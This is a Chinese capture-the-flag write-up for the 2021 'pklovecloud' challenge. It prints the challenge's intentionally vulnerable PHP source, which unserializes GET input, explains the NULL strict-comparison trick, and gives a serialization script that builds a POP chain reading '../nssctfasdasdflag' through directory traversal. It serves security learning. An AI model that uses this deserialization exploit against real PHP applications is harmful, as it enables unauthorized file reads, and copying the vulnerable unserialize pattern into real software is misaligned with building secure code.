[第五空间 2021]pklovecloud 详细题解

知识点:

构造POP链
PHP类的作用域
NULL强比较
目录穿越

源码如下:

php 复制代码
 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

构造POP链:

代码很直白,GET传入参数pks,输出反序列化的结果

从后向前推构造POP链,可以看到ace类中的代码 return file_get_contents($file);

file_get_contents()函数读取文件,但是不会输出,刚好代码最后会echo 输出反序列化后的结果,所以最终的目标就是读取flag文件然后输出得到flag

php 复制代码
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

需要满足if($this->openstack->neutron === $this->openstack->nova) 条件

openstack 是ace类中docker属性反序列化得到的结果,neutron 和 nova 都是acp类中的属性

$this->openstack->neutron = $heat;

这里代码中并没有出现过heat 参数,最开始 include 'flag.php'; 包含了flag.php文件,heat可能是在这里定义的,但是并不重要,因为在所有类中都没有出现过heat,那么heat的值就是NULL

因为类中的属性和类外面的属性值是没关系的

用两个php文件演示一下,在include.php文件中定义了$heat 然后另一个是反序列化文件

php 复制代码
//include.php
<?php
$heat="123456";
echo "hahaha"."\n";
php 复制代码
//serialize.php
<?php
include 'include.php';
echo $heat . "\n";
class ace
{
    public $filename;
    public $docker;

    public function abc()
    {
        if($this->docker === $heat)
            echo "ddddddddddddddddddddd!";
    }
}

$a = new ace();
echo $a->abc();
?>

结果在下面,这里没有给属性docker赋值,但是满足了 $this->docker === $heat 说明这里是NULL === NULL $heat不是外面的123456 而是NULL

既然$heat = NULL $this->openstack->neutron 和 $this->openstack->nova 就也得是NULL

this-\>openstack = unserialize(this->docker); openstack 又是反序列化 docker 属性的结果,那么对docker属性不赋值即可,这样反序列化得到的就是NULL

然后就是如何调用echo_name函数,发现 acp类中的 __toString()方法会return $this->cinder->echo_name()

cinder是protected类型,不能在外部赋值,需要在类内部的__construct()方法中改为ace类对象

toString()方法会在一个对象被当作字符串时被触发自动调用

最后的代码程序接受了pks参数后会先进行反序列化,然后echo 反序列后的对象
因此如果传入pks参数后,$logData是反序列化得到的对象,然后会echo $logData,就会触发__toString()方法,完成构造

pop链:

ace::echo_name() -> acp::__toString() -> acp:: __construct()

序列化代码:

php 复制代码
<?php  
class acp 
{   
    protected $cinder ;   //  2  在__construct()内部赋值为ace类对象
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }
}  
class ace
{    
    public $filename = 'flag.php';       //    内部赋值为flag.php
    public $openstack;
    public $docker;        // 1  赋值为空(null),或者什么都不赋值
    
}  

$a= new ace();
$a->docker = null;

$b=new acp();
echo urlencode(serialize($b));

这里要对序列化的结果进行url编码,因为acp类中有protected类型,protected属性序列化的时候格式是 \00*\00成员名 所以需要进行url编码防止无法识别

目录穿越:

查看源码得到flag.php 的源码,$heat确实是在这里定义的

修改代码中的文件名即可,public $filename = 'nssctfasdasdflag';

回显 keystone lost~ 说明没有满足if (file_get_contents($file))条件,那就是没有读取到文件,应该是文件的路径不对

这里 file = "./{this->filename}"; ./表示当前目录,花括号 {} 用于在字符串中明确地界定变量的边界,逐级目录穿越查找nssctfasdasdflag 文件所在的路径即可

目录穿越一级发现成功读取得到了flag,赋值为 public $filename = '../nssctfasdasdflag' 即可

相关推荐
黑客KKKing30 分钟前
网络安全-企业环境渗透2-wordpress任意文件读&&FFmpeg任意文件读
安全·web安全·ffmpeg
weixin_399380692 小时前
tongweb安全整改
安全·web安全
vortex53 小时前
渗透的本质是信息收集——一点思考
安全·web安全·渗透·信息收集
Elihuss5 小时前
ONVIF协议操作摄像头方法
开发语言·php
bluetata5 小时前
【云计算网络安全】解析 Amazon 安全服务:构建纵深防御设计最佳实践
安全·web安全·云计算·aws·亚马逊云科技
Red Red11 小时前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
亚远景aspice13 小时前
ISO 21434标准:汽车网络安全管理的利与弊
网络·web安全·汽车
未完结的牵挂13 小时前
高质量代理池go_Proxy_Pool
网络安全
HackKong15 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享15 小时前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书